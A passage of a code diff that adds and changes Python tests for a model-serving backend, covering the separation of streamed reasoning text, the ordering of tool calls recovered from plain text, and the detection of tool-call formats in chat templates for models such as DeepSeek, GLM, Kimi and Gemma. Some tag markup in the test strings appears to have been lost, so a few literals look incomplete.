"".join(event["delta"] for event in text_deltas) == "show x tags" + assert "".join(event["delta"] for event in reasoning_deltas) == "plan" + assert "".join(event["delta"] for event in text_deltas) == "answer" completed = self._payloads(lines, "response.completed")[0] - assert [item["type"] for item in completed["response"]["output"]] == ["message"] - assert completed["response"]["output"][0]["content"][0]["text"] == ( - "show x tags" - ) + assert [item["type"] for item in completed["response"]["output"]] == [ + "reasoning", + "message", + ] + assert completed["response"]["output"][0]["content"][0]["text"] == "plan" + assert completed["response"]["output"][1]["content"][0]["text"] == "answer" def test_non_reasoning_gguf_stream_keeps_literal_think_tags_visible(self, monkeypatch): chunks = [ @@ -1384,7 +1461,7 @@ class TestResponsesStreamAdapter: "show x tags" ) - def test_reasoning_only_streams_as_visible_message_text(self, monkeypatch): + def test_reasoning_only_stream_stays_out_of_visible_message_text(self, monkeypatch): chunks = [ {"choices": [{"delta": {"content": "plan"}}]}, {"choices": [], "usage": {"prompt_tokens": 2, "completion_tokens": 3}}, @@ -1402,14 +1479,34 @@ class TestResponsesStreamAdapter: reasoning_deltas = self._payloads(lines, "response.reasoning_text.delta") text_deltas = self._payloads(lines, "response.output_text.delta") assert "".join(event["delta"] for event in reasoning_deltas) == "plan" - assert "".join(event["delta"] for event in text_deltas) == "plan" + assert text_deltas == [] completed = self._payloads(lines, "response.completed")[0] - assert [item["type"] for item in completed["response"]["output"]] == [ - "reasoning", - "message", - ] + assert [item["type"] for item in completed["response"]["output"]] == ["reasoning"] + assert completed["response"]["output"][0]["content"][0]["text"] == "plan" + + def test_unclosed_think_stream_stays_out_of_visible_message_text(self, monkeypatch): + chunks = [ + {"choices": [{"delta": {"content": "plan"}}]}, + {"choices": [], "usage": {"prompt_tokens": 2, "completion_tokens": 3}}, + ] + self._install_stream_mock(monkeypatch, chunks) + payload = ResponsesRequest(input = "hi", stream = True, reasoning = {"effort": "high"}) + messages = [ChatMessage(role = "user", content = "hi")] + + async def run(): + response = await _responses_stream(payload, messages, self._Request()) + return await self._collect(response) + + lines = asyncio.run(run()) + + reasoning_deltas = self._payloads(lines, "response.reasoning_text.delta") + text_deltas = self._payloads(lines, "response.output_text.delta") + assert "".join(event["delta"] for event in reasoning_deltas) == "plan" + assert text_deltas == [] + completed = self._payloads(lines, "response.completed")[0] + assert [item["type"] for item in completed["response"]["output"]] == ["reasoning"] assert completed["response"]["output"][0]["content"][0]["text"] == "plan" - assert completed["response"]["output"][1]["content"][0]["text"] == "plan" def test_structured_reasoning_content_streams_as_reasoning(self, monkeypatch): chunks = [ @@ -1891,3 +1988,294 @@ class TestTranslatedMessagesValidate: msgs = _normalise_responses_input(payload) for m in msgs: ChatMessage(**m.model_dump(exclude_none = True)) + + +# reasoning_prefilled: enable_thinking templates prefill an unclosed , so +# generation begins inside the block; the extractor must start in reasoning. +class TestReasoningPrefilledExtractor: + def test_prefilled_single_feed_splits_lone_close(self): + # T1: reasoning...answer with a prefilled (unseen) open tag. + reasoning, visible = _extract_responses_reasoning( + "plananswer", + parse_think_markers = True, + reasoning_prefilled = True, + ) + assert reasoning == "plan" + assert visible == "answer" + + def test_prefilled_never_closed_is_all_reasoning(self): + # T2: truncated mid-thought (no ) -> all reasoning (GGUF parity). + reasoning, visible = _extract_responses_reasoning( + "still thinking with no close", + parse_think_markers = True, + reasoning_prefilled = True, + ) + assert reasoning == "still thinking with no close" + assert visible == "" + + def test_prefilled_close_split_across_feeds(self): + # T3: straddles two feed() calls; holdback resolves it. + ex = _ResponsesReasoningExtractor(parse_think_markers = True, reasoning_prefilled = True) + r1, v1 = ex.feed("planans") + fr, fv = ex.finish() + assert (r1 + r2 + fr) == "plan" + assert (v1 + v2 + fv) == "ans" + + def test_prefilled_close_split_one_char_per_feed(self): + # T4: every char in its own feed still splits correctly. + ex = _ResponsesReasoningExtractor(parse_think_markers = True, reasoning_prefilled = True) + reasoning, visible = "", "" + for ch in "planx": + r, v = ex.feed(ch) + reasoning += r + visible += v + fr, fv = ex.finish() + assert (reasoning + fr) == "plan" + assert (visible + fv) == "x" + + def test_prefilled_empty_generation(self): + # T5: nothing generated. + reasoning, visible = _extract_responses_reasoning( + "", + parse_think_markers = True, + reasoning_prefilled = True, + ) + assert reasoning == "" + assert visible == "" + + def test_prefilled_whitespace_after_close_is_visible(self): + # T6: Qwen commonly emits \n\n before the answer. + reasoning, visible = _extract_responses_reasoning( + "plan\n\nanswer", + parse_think_markers = True, + reasoning_prefilled = True, + ) + assert reasoning == "plan" + assert visible == "\n\nanswer" + + def test_prefilled_stray_open_tag_is_suppressed(self): + # T7: a re-emitted literal inside prefilled reasoning is dropped, + # not leaked into the drawer (covers enable_thinking_effort full-tag output). + reasoning, visible = _extract_responses_reasoning( + "abc", + parse_think_markers = True, + reasoning_prefilled = True, + ) + assert reasoning == "ab" + assert visible == "c" + assert "" not in reasoning + + def test_prefilled_close_at_start_empty_reasoning(self): + # T8: model closed immediately (empty reasoning) then answered. + reasoning, visible = _extract_responses_reasoning( + "hi", + parse_think_markers = True, + reasoning_prefilled = True, + ) + assert reasoning == "" + assert visible == "hi" + + def test_not_prefilled_lone_close_preserves_current_behavior(self): + # T9: without prefilled, a lone close tag keeps the pre-fix behavior (parity guard). + reasoning, visible = _extract_responses_reasoning( + "reasoningans", + parse_think_markers = True, + reasoning_prefilled = False, + ) + assert reasoning == "" + assert visible == "reasoningans" + + def test_not_prefilled_full_pair_still_splits(self): + # T10: normal explicit .. (GGUF / Harmony) unchanged. + reasoning, visible = _extract_responses_reasoning( + "rv", + parse_think_markers = True, + reasoning_prefilled = False, + ) + assert reasoning == "r" + assert visible == "v" + + def test_prefilled_ignored_when_markers_not_parsed(self): + # T11: a non-reasoning model passes text through even with reasoning_prefilled False. + reasoning, visible = _extract_responses_reasoning( + "just an answer", + parse_think_markers = False, + reasoning_prefilled = False, + ) + assert reasoning == "" + assert visible == "just an answer" + + +# ===================================================================== +# Streaming passthrough healing — text-form calls promoted in order +# ===================================================================== + + +class TestResponsesStreamHealing: + """Route-level healing on the /v1/responses stream: text-form tool calls + are promoted through the same per-call item state machinery as structured + deltas, and healer events keep their order (text around a healed call must + not move relative to the function_call item).""" + + _XML = '{"name":"lookup","arguments":{"q":"x"}}' + _TOOL = {"type": "function", "name": "lookup", "parameters": {"type": "object"}} + + @staticmethod + def _ordered_events(lines): + events = [] + for line in lines: + if not line.startswith("event: "): + continue + name, _, rest = line.partition("\n") + payload = json.loads(rest.split("data: ", 1)[1].strip()) + events.append((name[len("event: ") :], payload)) + return events + + def _run_stream(self, monkeypatch, content, **payload_kwargs): + TestResponsesStreamAdapter._install_stream_mock( + monkeypatch, [{"choices": [{"delta": {"content": content}}]}] + ) + payload = ResponsesRequest(input = "hi", stream = True, tools = [self._TOOL], **payload_kwargs) + messages = [ChatMessage(role = "user", content = "hi")] + + async def run(): + response = await _responses_stream( + payload, messages, TestResponsesStreamAdapter._Request() + ) + return await TestResponsesStreamAdapter._collect(response) + + return self._ordered_events(asyncio.run(run())) + + def test_text_around_healed_call_keeps_order(self, monkeypatch): + events = self._run_stream(monkeypatch, f"before {self._XML} after.") + pos_before = pos_item = pos_after = None + for i, (name, payload) in enumerate(events): + if name == "response.output_text.delta": + if "before" in payload["delta"] and pos_before is None: + pos_before = i + if "after" in payload["delta"]: + pos_after = i + if ( + name == "response.output_item.added" + and payload["item"]["type"] == "function_call" + and pos_item is None + ): + pos_item = i + assert payload["item"]["name"] == "lookup" + assert pos_before is not None and pos_item is not None and pos_after is not None + assert pos_before < pos_item < pos_after + + def test_call_before_trailing_text_claims_lower_output_index(self, monkeypatch): + events = self._run_stream(monkeypatch, f"{self._XML} done.") + item_added = [ + (name, payload) for name, payload in events if name == "response.output_item.added" + ] + # The call came first in the model output, so its item is added first + # and claims the lower output_index; the trailing text's message item + # follows. + assert [payload["item"]["type"] for _, payload in item_added] == [ + "function_call", + "message", + ] + call_idx = item_added[0][1]["output_index"] + msg_idx = item_added[1][1]["output_index"] + assert call_idx < msg_idx + text = "".join( + payload["delta"] for name, payload in events if name == "response.output_text.delta" + ) + assert "done." in text + assert "" not in text + + def test_tool_choice_none_streams_raw_text(self, monkeypatch): + events = self._run_stream(monkeypatch, self._XML, tool_choice = "none") + assert not any( + payload["item"]["type"] == "function_call" + for name, payload in events + if name == "response.output_item.added" + ) + text = "".join( + payload["delta"] for name, payload in events if name == "response.output_text.delta" + ) + assert text == self._XML + + def test_healed_call_splits_message_items(self, monkeypatch): + # Text on both sides of a healed call becomes TWO message items: the + # healed function_call closes the first, trailing text opens a fresh + # one with a later output index (native Responses stream shape). + events = self._run_stream(monkeypatch, f"before {self._XML} after.") + added = [ + (payload["output_index"], payload["item"]["type"], payload["item"].get("id")) + for name, payload in events + if name == "response.output_item.added" + ] + assert [item_type for _, item_type, _ in added] == [ + "message", + "function_call", + "message", + ] + assert [idx for idx, _, _ in added] == sorted(idx for idx, _, _ in added) + assert added[0][2] != added[2][2] # distinct message item ids + # Text deltas attribute to their OWN message item. + deltas = [ + (payload["item_id"], payload["delta"]) + for name, payload in events + if name == "response.output_text.delta" + ] + assert [d for i, d in deltas if i == added[0][2]] == ["before "] + assert [d for i, d in deltas if i == added[2][2]] == [" after."] + # The completed snapshot lists all three items with per-item text. + completed = [payload for name, payload in events if name == "response.completed"] + output = completed[0]["response"]["output"] + assert [item["type"] for item in output] == ["message", "function_call", "message"] + assert output[0]["content"][0]["text"] == "before " + assert output[2]["content"][0]["text"] == " after." + + def test_parallel_cap_drops_native_after_healed(self, monkeypatch): + # parallel_tool_calls=false: a healed call consumed the single allowed + # slot; a later native structured call (index 0, so it survives + # _drop_parallel_tool_call_deltas) must not open a second + # function_call item. + TestResponsesStreamAdapter._install_stream_mock( + monkeypatch, + [ + {"choices": [{"delta": {"content": self._XML}}]}, + { + "choices": [ + { + "delta": { + "tool_calls": [ + { + "index": 0, + "id": "call_up", + "function": {"name": "lookup", "arguments": "{}"}, + } + ] + } + } + ] + }, + ], + ) + payload = ResponsesRequest( + input = "hi", + stream = True, + tools = [self._TOOL], + parallel_tool_calls = False, + ) + messages = [ChatMessage(role = "user", content = "hi")] + + async def run(): + response = await _responses_stream( + payload, messages, TestResponsesStreamAdapter._Request() + ) + return await TestResponsesStreamAdapter._collect(response) + + events = self._ordered_events(asyncio.run(run())) + calls = [ + payload + for name, payload in events + if name == "response.output_item.added" and payload["item"]["type"] == "function_call" + ] + assert len(calls) == 1 + assert calls[0]["item"]["name"] == "lookup" diff --git a/studio/backend/tests/test_safetensors_capability_advertise.py b/studio/backend/tests/test_safetensors_capability_advertise.py index 13cb6bbd46..0ed670ac01 100644 --- a/studio/backend/tests/test_safetensors_capability_advertise.py +++ b/studio/backend/tests/test_safetensors_capability_advertise.py @@ -11,6 +11,8 @@ from pathlib import Path from types import SimpleNamespace from unittest.mock import MagicMock +import pytest + _backend_root = Path(__file__).resolve().parent.parent if str(_backend_root) not in sys.path: sys.path.insert(0, str(_backend_root)) @@ -46,6 +48,21 @@ reasoning_effort: {{ reasoning_effort }} """ +# DeepSeek-V4-Flash: an enable_thinking on/off gate PLUS a reasoning_effort +# 'max' preamble. The shipped template only *branches* on 'max' ('high' renders +# identically to thinking-on-without-the-preamble), so the literal scan alone +# would surface only ['max']; the classifier adds 'high' for deepseek-v4 to +# expose the encoder's full none/high/max ladder. +DEEPSEEK_V4_TEMPLATE = ( + "{%- if not thinking is defined %}" + "{%- if enable_thinking is defined %}{%- set thinking = enable_thinking %}" + "{%- else %}{%- set thinking = false %}{%- endif %}{%- endif %}\n" + "{%- if thinking and reasoning_effort == 'max' %}" + "{{- 'Reasoning Effort: Absolute maximum' }}{%- endif %}\n" + "{%- for message in messages %}{{- message.content }}{%- endfor %}" +) + + PLAIN_TEMPLATE = """ {%- for message in messages %} {{- message.role + ': ' + message.content + '\\n' }} @@ -88,6 +105,29 @@ def test_detect_reasoning_flags_none_template_returns_all_false(): assert flags["reasoning_style"] == "enable_thinking" +def test_detect_reasoning_flags_deepseek_v4_exposes_none_high_max(): + """DeepSeek-V4-Flash: enable_thinking gate + reasoning_effort 'max' preamble. + Classified as the hybrid style with the full none/high/max ladder even + though the template only branches on 'max'.""" + from core.inference.llama_cpp import detect_reasoning_flags + + flags = detect_reasoning_flags(DEEPSEEK_V4_TEMPLATE, "unsloth/DeepSeek-V4-Flash-GGUF") + assert flags["supports_reasoning"] is True + assert flags["reasoning_style"] == "enable_thinking_effort" + assert flags["reasoning_effort_levels"] == ["high", "max"] + assert flags["reasoning_always_on"] is False + + +def test_detect_reasoning_flags_non_deepseek_v4_effort_only_max_not_injected(): + """The 'high' injection is scoped to deepseek-v4: a different model whose + template only branches on 'max' keeps ['max'] (no phantom 'high').""" + from core.inference.llama_cpp import detect_reasoning_flags + + flags = detect_reasoning_flags(DEEPSEEK_V4_TEMPLATE, "vendor/OtherHybrid-GGUF") + assert flags["reasoning_style"] == "enable_thinking_effort" + assert flags["reasoning_effort_levels"] == ["max"] + + def test_detect_safetensors_features_passes_template_through_to_classifier(): """Route wrapper forwards a real template to the inner classifier.""" from routes.inference import _detect_safetensors_features @@ -127,9 +167,8 @@ def test_detect_safetensors_features_gptoss_disables_tools(): assert flags["supports_tools"] is False -# Llama-3 / Mistral advertise tools but emit <|python_tag|> / [TOOL_CALLS], -# which our parser can't read. The route helper must not flip supports_tools=True -# for them, else the UI enables a pill the agentic loop can't honour. +# Llama-3 / Mistral / Gemma 4 tool-call formats are now parser-supported, so supports_tools=True +# must hold for all of them; only templates matching none of the five known markers are suppressed. LLAMA3_TEMPLATE = """ {%- if tools %} @@ -161,27 +200,188 @@ MISTRAL_TEMPLATE = """ {%- endfor %} """ +GEMMA4_TEMPLATE = """ +{%- if tools %} + {{- 'Tools available. Emit calls as ' }} + {{- '<|tool_call>call:NAME{key:<|"|>val<|"|>}' }} + {%- for tool in tools %} + {{- tool | tojson }} + {%- endfor %} +{%- endif %} +""" -def test_detect_safetensors_features_llama3_template_suppresses_tools(): - """Llama-3 emits <|python_tag|>; safetensors loop cannot parse it.""" + +def test_detect_safetensors_features_llama3_template_keeps_tools_on(): + """Llama-3 emits <|python_tag|>; parser now supports it.""" from routes.inference import _detect_safetensors_features backend = SimpleNamespace(active_model_name = "unsloth/Llama-3.2-3B-Instruct") flags = _detect_safetensors_features(backend, LLAMA3_TEMPLATE) - assert flags["supports_tools"] is False + assert flags["supports_tools"] is True -def test_detect_safetensors_features_mistral_template_suppresses_tools(): - """Mistral emits [TOOL_CALLS]; safetensors loop cannot parse it.""" +def test_detect_safetensors_features_mistral_template_keeps_tools_on(): + """Mistral emits [TOOL_CALLS]name{json}, which the safetensors loop now parses + (the shared bracket-tag parser). The gate must no longer suppress it, or the + PR's Mistral tool support is unreachable through normal capability detection.""" from routes.inference import _detect_safetensors_features backend = SimpleNamespace(active_model_name = "unsloth/mistral-7b-instruct-v0.3") flags = _detect_safetensors_features(backend, MISTRAL_TEMPLATE) + assert flags["supports_tools"] is True + + +def test_detect_safetensors_features_gemma4_template_keeps_tools_on(): + """Gemma 4 emits <|tool_call>; parser now supports it.""" + from routes.inference import _detect_safetensors_features + + backend = SimpleNamespace(active_model_name = "unsloth/gemma-4-E2B-it-UD-MLX-4bit") + flags = _detect_safetensors_features(backend, GEMMA4_TEMPLATE) + assert flags["supports_tools"] is True + + +# DeepSeek V3 / V3.1 / R1 emit ``<｜tool▁calls▁begin｜>...`` blocks. +# Note the full-width pipe (U+FF5C) and lower-1/8-block (U+2581). +DEEPSEEK_TEMPLATE = """ +{%- if tools %} + {%- for tool in tools %} + {{- tool | tojson }} + {%- endfor %} +{%- endif %} +{%- for message in messages %} + {%- if message.role == 'assistant' and message.tool_calls %} + {%- for tc in message.tool_calls %} + {{- '<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>' + tc.function.name + + '<｜tool▁sep｜>' + tc.function.arguments + '<｜tool▁call▁end｜>' }} + {%- endfor %} + {%- endif %} +{%- endfor %} +""" + + +def test_detect_safetensors_features_deepseek_template_keeps_tools_on(): + """DeepSeek emits ``<｜tool▁calls▁begin｜>...``; parser now supports it.""" + from routes.inference import _detect_safetensors_features + + backend = SimpleNamespace(active_model_name = "unsloth/DeepSeek-V3.1") + flags = _detect_safetensors_features(backend, DEEPSEEK_TEMPLATE) + assert flags["supports_tools"] is True + + +# GLM 4.5 / 4.6 / 4.7 emit ``NAME\n...... +GLM_TEMPLATE = """ +{%- if tools %} + For each function call, output the function name and arguments within + the following XML format: + {function-name} + {arg-key} + {arg-value} + + {%- for tool in tools %} + {{- tool | tojson }} + {%- endfor %} +{%- endif %} +""" + + +def test_detect_safetensors_features_glm_template_keeps_tools_on(): + """GLM 4.x emits ``NAME\\n...``; parser handles it.""" + from routes.inference import _detect_safetensors_features + + backend = SimpleNamespace(active_model_name = "unsloth/GLM-4.6") + flags = _detect_safetensors_features(backend, GLM_TEMPLATE) + assert flags["supports_tools"] is True + + +# Kimi K2 / Moonshot uses ``<|tool_calls_section_begin|>...`` blocks +# with ``functions.NAME:IDX`` as the per-call id. +KIMI_TEMPLATE = """ +{%- if tools %} + <|im_system|>tool_declare<|im_middle|>{{ tools | tojson }}<|im_end|> +{%- endif %} +{%- for message in messages %} + {%- if message.role == 'assistant' and message.tool_calls %} + <|tool_calls_section_begin|> + {%- for tc in message.tool_calls %} + <|tool_call_begin|>{{ tc.id }}<|tool_call_argument_begin|>{{ tc.function.arguments | tojson }}<|tool_call_end|> + {%- endfor %} + <|tool_calls_section_end|> + {%- endif %} +{%- endfor %} +""" + + +def test_detect_safetensors_features_kimi_template_keeps_tools_on(): + """Kimi K2 emits ``<|tool_calls_section_begin|>...``; parser handles it.""" + from routes.inference import _detect_safetensors_features + + backend = SimpleNamespace(active_model_name = "unsloth/Kimi-K2-Instruct") + flags = _detect_safetensors_features(backend, KIMI_TEMPLATE) + assert flags["supports_tools"] is True + + +LLAMA3_2_BARE_JSON_TEMPLATE = """ +{%- if tools %} + {{- 'Given the following functions, respond with JSON for a function call.' }} + {{- 'Respond in the format {"name": function name, "parameters": dictionary}.' }} + {%- for tool in tools %} + {{- tool | tojson }} + {%- endfor %} +{%- endif %} +{%- for message in messages %} + {%- if 'tool_calls' in message %} + {{- '{"name": "' + message.tool_calls[0].function.name + '", '}} + {{- '"parameters": ' + (message.tool_calls[0].function.arguments | tojson) + '}' }} + {%- endif %} +{%- endfor %} +""" + + +def test_detect_safetensors_features_llama3_2_bare_json_keeps_tools_on(): + """Llama-3.2 bare JSON is supported, so the pill stays enabled.""" + from routes.inference import _detect_safetensors_features + + backend = SimpleNamespace(active_model_name = "unsloth/Llama-3.2-3B-Instruct") + flags = _detect_safetensors_features(backend, LLAMA3_2_BARE_JSON_TEMPLATE) + assert flags["supports_tools"] is True + + +MINICPM5_ATTRIBUTE_TEMPLATE = """ +{%- if tools %} + {{- 'Available tools. Emit calls as ' }} + {{- 'value' }} + {%- for tool in tools %} + {{- tool | tojson }} + {%- endfor %} +{%- endif %} +""" + + +def test_detect_safetensors_features_attribute_function_form_keeps_tools_on(): + """The attribute form ```` must be whitelisted or the pill is wrongly suppressed.""" + from routes.inference import _detect_safetensors_features + + backend = SimpleNamespace(active_model_name = "openbmb/MiniCPM-5") + flags = _detect_safetensors_features(backend, MINICPM5_ATTRIBUTE_TEMPLATE) + assert flags["supports_tools"] is True + + +def test_detect_safetensors_features_unknown_format_suppresses_tools(): + """Tools advertised with no known marker must be suppressed.""" + from routes.inference import _detect_safetensors_features + + tpl = ( + "{%- if tools %}<|im_start|>system\n" + "Emit tool calls as JSON-RPC notifications inside the response." + "<|im_end|>{%- endif %}" + ) + backend = SimpleNamespace(active_model_name = "custom/unknown-tool-format") + flags = _detect_safetensors_features(backend, tpl) assert flags["supports_tools"] is False def test_detect_safetensors_features_qwen_tool_call_keeps_tools_on(): - """Sanity check: gate only suppresses non-Qwen formats.""" + """Sanity check: Qwen marker still flips supports_tools.""" from routes.inference import _detect_safetensors_features backend = SimpleNamespace(active_model_name = "unsloth/Qwen3-0.6B") @@ -203,6 +403,20 @@ def test_detect_safetensors_features_function_xml_format_keeps_tools_on(): assert flags["supports_tools"] is True +def test_detect_safetensors_features_gemma_native_tool_call_keeps_tools_on(): + """Gemma 4 emits <|tool_call>call:name{...}, which the shared + parser now reads, so the gate must not suppress tools for it.""" + from routes.inference import _detect_safetensors_features + + tpl_with_gemma_native = ( + "{%- if tools -%}Tool call format: " + "<|tool_call>call:name{key:value}{%- endif -%}" + ) + backend = SimpleNamespace(active_model_name = "unsloth/gemma-4-12b-it") + flags = _detect_safetensors_features(backend, tpl_with_gemma_native) + assert flags["supports_tools"] is True + + # Qwen3.5 family pin: the live GGUF + safetensors templates both wrap tool # calls as ``\n...``. Faithful slice so the # classifier never silently regresses for this family. @@ -440,3 +654,184 @@ def test_route_layer_emits_supports_tools_true_for_qwen3_safetensors(): assert flags["supports_tools"] is True assert flags["supports_reasoning"] is True assert flags["supports_preserve_thinking"] is True + + +@pytest.mark.parametrize( + "opener", + [ + "<｜tool▁calls▁begin｜>", # canonical + "<｜tool_calls_begin｜>", # ASCII underscores + "<｜tool▁calls｜>", # short form + "<｜tool calls begin｜>", # spaces + "<｜tool\\_calls\\_begin｜>", # escaped underscores + ], +) +def test_detect_safetensors_features_deepseek_opener_variants_keep_tools_on(opener): + # Every DeepSeek opener the parser accepts must keep supports_tools on; the route gate derives + # its markers from the parser's TOOL_XML_SIGNALS so it can no longer drift behind the parser ... + from routes.inference import _detect_safetensors_features + + tpl = ( + "{%- if tools %}tools{%- endif %}" + + opener + + "<｜tool▁call▁begin｜>function<｜tool▁sep｜>get_time{}" + "<｜tool▁call▁end｜><｜tool▁calls▁end｜>" + ) + backend = SimpleNamespace(active_model_name = "unsloth/DeepSeek-V3.1") + flags = _detect_safetensors_features(backend, tpl) + assert flags["supports_tools"] is True + + +# Templates that advertise tools ({%- if tools %}) and prompt the bare-JSON +# call form, but whose ``{"name":`` example is pretty-printed or JSON-escaped. +_WHITESPACE_BARE_JSON_TEMPLATE = ( + "{%- if tools %}\n" + "To call a tool, output JSON of the form:\n" + '{ "name" : "function_name", "parameters": { } }\n' + "{%- endif %}\n" + "{{ messages }}" +) +_ESCAPED_BARE_JSON_TEMPLATE = ( + "{%- if tools %}\n" + 'Respond with {\\"name\\": \\"fn\\", \\"parameters\\": {}}\n' + "{%- endif %}\n" + "{{ messages }}" +) +_TOOLS_ADVERTISED_NO_PARSEABLE_FORM = ( + "{%- if tools %}\nYou may use the available tools.\n{%- endif %}\n{{ messages }}" +) + + +def test_detect_safetensors_features_keeps_tools_for_pretty_printed_bare_json(): + # A pretty-printed bare-JSON example (``{ "name" :``) must keep supports_tools since the parser + # accepts that whitespace via raw_decode. + from routes.inference import _detect_safetensors_features + + backend = SimpleNamespace(active_model_name = "unsloth/Llama-3.2-3B-Instruct") + flags = _detect_safetensors_features(backend, _WHITESPACE_BARE_JSON_TEMPLATE) + assert flags["supports_tools"] is True + + +def test_detect_safetensors_features_keeps_tools_for_escaped_bare_json(): + from routes.inference import _detect_safetensors_features + + backend = SimpleNamespace(active_model_name = "unsloth/Llama-3.2-3B-Instruct") + flags = _detect_safetensors_features(backend, _ESCAPED_BARE_JSON_TEMPLATE) + assert flags["supports_tools"] is True + + +def test_detect_safetensors_features_drops_tools_when_no_parseable_form(): + # Negative control: tools advertised but no parser-recognised emission form at + # all -> the pill is still dropped (the gate is not now matching everything). + from routes.inference import _detect_safetensors_features + + backend = SimpleNamespace(active_model_name = "unsloth/Llama-3.2-3B-Instruct") + flags = _detect_safetensors_features(backend, _TOOLS_ADVERTISED_NO_PARSEABLE_FORM) + assert flags["supports_tools"] is False + + +def test_detect_safetensors_features_keeps_tools_for_function_alias_bare_json(): + # A template documenting the parser-supported {"function":...} bare-JSON alias + # must keep supports_tools, mirroring the {"name":...} form. + from routes.inference import _detect_safetensors_features + + tpl = ( + "{%- if tools %}\n" + 'Respond with {"function": "fn", "parameters": {}}\n' + "{%- endif %}\n" + "{{ messages }}" + ) + backend = SimpleNamespace(active_model_name = "unsloth/Llama-3.2-3B-Instruct") + flags = _detect_safetensors_features(backend, tpl) + assert flags["supports_tools"] is True + + +# _sf_reasoning_prefill_mode gates the prefilled- extractor (GGUF reasoning parity). +class TestSafetensorsReasoningPrefillGate: + # A minimal Qwen3-style template with the standard / markers. + _QWEN_TPL = "{% if enable_thinking %}{% endif %}......" + # gemma-style bespoke reasoning channel -- no standard markers. + _GEMMA_TPL = "{% if enable_thinking %}<|think|>{% endif %}<|channel>thought" + # always-on template whose GENERATION PROMPT opens an unclosed (DeepSeek-R1 / QwQ / + # Qwen3-Thinking shape): the model emits only the closing , so prefill. + _ALWAYS_ON_OPEN_TPL = ( + "{% for m in messages %}{{ m['content'] }}{% endfor %}" + "{% if add_generation_prompt %}<|assistant|>\n{% endif %}" + ) + # always-on template that renders PAST assistant ... history but leaves the + # generation prompt open with no (Kimi-K2-Thinking shape): the model self-emits its + # own block, so prefill mode would blank a normal answer. + _ALWAYS_ON_HISTORY_TPL = ( + "{% for m in messages %}" + "{% if m['role'] == 'assistant' %}{{ m.get('reasoning_content', '') }}" + "{{ m['content'] }}{% endif %}" + "{% endfor %}" + "{% if add_generation_prompt %}<|im_assistant|>assistant<|im_middle|>{% endif %}" + ) + + def _features(self, **over): + base = { + "supports_reasoning": True, + "reasoning_always_on": False, + "reasoning_style": "enable_thinking", + } + base.update(over) + return base + + def test_g1_enable_thinking_true(self): + # G1: Qwen3.5 template + explicit enable_thinking=True -> prefilled. + from routes.inference import _sf_reasoning_prefill_mode + assert _sf_reasoning_prefill_mode(self._features(), True, self._QWEN_TPL) is True + + def test_g2_enable_thinking_none_defaults_on(self): + # G2: default request (None) -> prefilled (Qwen3/GLM templates default on). + from routes.inference import _sf_reasoning_prefill_mode + assert _sf_reasoning_prefill_mode(self._features(), None, self._QWEN_TPL) is True + + def test_g3_enable_thinking_false(self): + # G3: thinking explicitly off -> not prefilled. + from routes.inference import _sf_reasoning_prefill_mode + assert _sf_reasoning_prefill_mode(self._features(), False, self._QWEN_TPL) is False + + def test_g4_gpt_oss_reasoning_effort_excluded(self): + # G4: gpt-oss uses explicit tags via HarmonyTextStreamer -> normal mode. + from routes.inference import _sf_reasoning_prefill_mode + feats = self._features(reasoning_style = "reasoning_effort") + assert _sf_reasoning_prefill_mode(feats, True, self._QWEN_TPL) is False + + def test_g5_enable_thinking_effort_included(self): + # G5: GLM-style enable_thinking_effort also prefills. + from routes.inference import _sf_reasoning_prefill_mode + feats = self._features(reasoning_style = "enable_thinking_effort") + assert _sf_reasoning_prefill_mode(feats, None, self._QWEN_TPL) is True + + def test_g6_non_reasoning_model(self): + # G6: no reasoning capability -> never prefilled. + from routes.inference import _sf_reasoning_prefill_mode + feats = self._features(supports_reasoning = False, reasoning_style = None) + assert _sf_reasoning_prefill_mode(feats, True, self._QWEN_TPL) is False + + def test_g7_reasoning_always_on_prompt_opens_think(self): + # G7: always-on template whose generation prompt opens -> prefilled regardless of the flag. + from routes.inference import _sf_reasoning_prefill_mode + feats = self._features(reasoning_always_on = True) + assert _sf_reasoning_prefill_mode(feats, False, self._ALWAYS_ON_OPEN_TPL) is True + + def test_g7b_reasoning_always_on_history_only_not_prefilled(self): + # G7b (#5704): always-on classification from rendered assistant HISTORY + # (Kimi-K2-Thinking) whose generation prompt opens no . Prefill mode would capture a + # normal answer entirely as reasoning_content and blank the visible answer, so it must be off. + from routes.inference import _sf_reasoning_prefill_mode + feats = self._features(reasoning_always_on = True) + assert _sf_reasoning_prefill_mode(feats, None, self._ALWAYS_ON_HISTORY_TPL) is False + + def test_g8_gemma_bespoke_channel_excluded(self): + # G8: gemma's <|think|>/<|channel> format has no -> NOT prefilled + # (would otherwise swallow the whole answer as reasoning). Regression guard. + from routes.inference import _sf_reasoning_prefill_mode + assert _sf_reasoning_prefill_mode(self._features(), True, self._GEMMA_TPL) is False + + def test_g9_missing_template_not_prefilled(self): + # G9: no template available -> conservative (not prefilled). + from routes.inference import _sf_reasoning_prefill_mode + assert _sf_reasoning_prefill_mode(self._features(), True, None) is False diff --git a/studio/backend/tests/test_safetensors_reasoning_stream.py b/studio/backend/tests/test_safetensors_reasoning_stream.py new file mode 100644 index 0000000000..4e708139b7 --- /dev/null +++ b/studio/backend/tests/test_safetensors_reasoning_stream.py @@ -0,0 +1,217 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Safetensors/MLX reasoning-block parity with GGUF. + +enable_thinking templates (Qwen3/GLM) prefill an unclosed ```` so the model +emits only the closing ```` then the answer; the safetensors stream must +split the leading text into ``reasoning_content`` deltas (plain stream and tool +loop), resetting per turn and appending only visible text to the monitor. Replays a +copy of ``sf_tool_stream``'s reasoning loop against synthetic events. +""" + +from __future__ import annotations + +import sys +from pathlib import Path + +_BACKEND_DIR = str(Path(__file__).resolve().parent.parent) +if _BACKEND_DIR not in sys.path: + sys.path.insert(0, _BACKEND_DIR) + +from routes.inference import ( + _ResponsesReasoningExtractor, + _sf_reasoning_prefill_mode, + _strip_tool_xml_for_display, +) + + +_THINK_TPL = "........." +_ETHINK = {"reasoning_style": "enable_thinking", "supports_reasoning": True} +_ETHINK_EFFORT = {"reasoning_style": "enable_thinking_effort", "supports_reasoning": True} + + +def test_prefill_mode_on_for_enable_thinking_default(): + assert _sf_reasoning_prefill_mode(_ETHINK, None, _THINK_TPL) is True + + +def test_prefill_mode_off_when_thinking_disabled(): + assert _sf_reasoning_prefill_mode(_ETHINK, False, _THINK_TPL) is False + + +def test_prefill_mode_off_for_reasoning_effort_none(): + # enable_thinking_effort turns thinking off via reasoning_effort="none"; prefilled 